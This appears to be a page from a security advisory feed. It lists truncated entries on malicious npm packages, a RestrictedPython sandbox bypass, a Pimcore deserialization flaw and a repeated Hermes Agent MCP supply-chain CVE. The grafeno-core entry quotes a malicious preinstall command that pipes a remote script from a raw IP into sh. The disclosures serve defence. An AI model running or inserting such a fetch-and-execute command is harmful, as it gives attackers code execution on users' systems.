Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

MAL-2026-15494 Malicious code in @7nohe/openapi-react-query-codegen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab8f8efdad9084d2a7c5ae5058ffc18886d68bfe1c676239fd7e0d41342fc700 The tarball ships a binding.gyp at the package root whose conditions field abuses GYP's Python expression evaluator to walk .class.base.subclasses to...

RestrictedPython guard hooks can be shadowed via positional-only arguments

Impact RestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes getattrobj, name, item access becomes getitemobj, key, writes go through write, and print goes through print. The embedding application supplies these hooks to enforce its policy. Argument-na...

CVE-2026-82021

Hermes Agent 0.18.2 prior to 0.19.0 contains a supply chain vulnerability in its bundled MCP catalog that allows a remote attacker to execute arbitrary code by compromising a third-party upstream repository referenced via a mutable branch rather than a pinned commit SHA. An attacker who compromis...

aiagent-detection-rules

aiagent-detection-rules Sigma-, Splunk-, Elastic- und YARA-Erkennungsregeln für den Claude-Code-Quellcode-Leak 31. März 2026 und den gleichzeitigen npm-Lieferkettenangriff. Am 31. März 2026 hat Anthropic versehentlich eine fehlkonfigurierte Source-Map in @anthropic-ai/[email protected]...

CVE-2026-55220 Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column

Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource in models/DataObject/ClassDefinition/Data/Hotspotimage.php passes the field hotspots object-store column to...

CVE-2026-55220

Pimcore (Open Source Data & Experience Management Platform) contains an unrestricted deserialization flaw in Hotspotimage::getDataFromResource() . After JSON decoding of the __hotspots object-store column fails, the raw value is passed to Serialize::unserialize() without an allowed-classes whitel...

CVE-2026-82021 Hermes Agent 0.18.2 < 0.19.0 MCP Catalog Supply Chain RCE via Mutable Branch Reference

Hermes Agent 0.18.2 prior to 0.19.0 contains a supply chain vulnerability in its bundled MCP catalog that allows a remote attacker to execute arbitrary code by compromising a third-party upstream repository referenced via a mutable branch rather than a pinned commit SHA. An attacker who compromis...

EUVD-2026-67867

Hermes Agent 0.18.2 prior to 0.19.0 contains a supply chain vulnerability in its bundled MCP catalog that allows a remote attacker to execute arbitrary code by compromising a third-party upstream repository referenced via a mutable branch rather than a pinned commit SHA. An attacker who compromis...

CVE-2026-82021 Hermes Agent 0.18.2 < 0.19.0 MCP Catalog Supply Chain RCE via Mutable Branch Reference

Hermes Agent 0.18.2 prior to 0.19.0 contains a supply chain vulnerability in its bundled MCP catalog that allows a remote attacker to execute arbitrary code by compromising a third-party upstream repository referenced via a mutable branch rather than a pinned commit SHA. An attacker who compromis...

CVE-2026-82021

Hermes Agent versions 0.18.2 prior to 0.19.0 contain a supply chain vulnerability in its bundled MCP catalog . A third-party upstream repository is referenced via a mutable branch rather than a pinned commit SHA, meaning an attacker who compromises that upstream repository can propagate malicious...

Malicious code in 3layerdipstackm7mock (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ac848ba661287ba28da0b3cc4784738bad4003683b89af912b65cdc636db9b5c The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackpcv17m (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 341115d5cb8bd44ffcf82bc4d8d35f995473df6f24abccb910c9c16fb70cea36 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackkrgcjq (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 10c365be1bc5f3241edc2e2aeb5f9c28cf6ea5dbaa13d255cf9b104f68ac8b7f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstacktm8xp5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1eef1b6cb641c5b33eb8e360a558f238f31b99d27fe5e808e8e55c34d15ee8a7 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14760 Malicious code in 3layerdipstackfywqmz (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cee0944700e8c39b5f5fbb125caf69265d316217a2edd6163e038a0c895951d9 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14771 Malicious code in 3layerdipstackhcymwm (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8f9ceeb1377cded900160b5cde819d2490edebf76264bed649b7ccec5cb013f7 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14933 Malicious code in 3layerdipstacktm8xp5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1eef1b6cb641c5b33eb8e360a558f238f31b99d27fe5e808e8e55c34d15ee8a7 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackoj4nf9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 968e6bdb11b4ae272e4d6e1aba1ea5e06d56e607a5ff9b93969936dd0bca2c48 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstack8lj8gm (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72671b2191d5c2a662d2b435a09fa42f2bbc26997aea63f216ac6a8a81779076 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...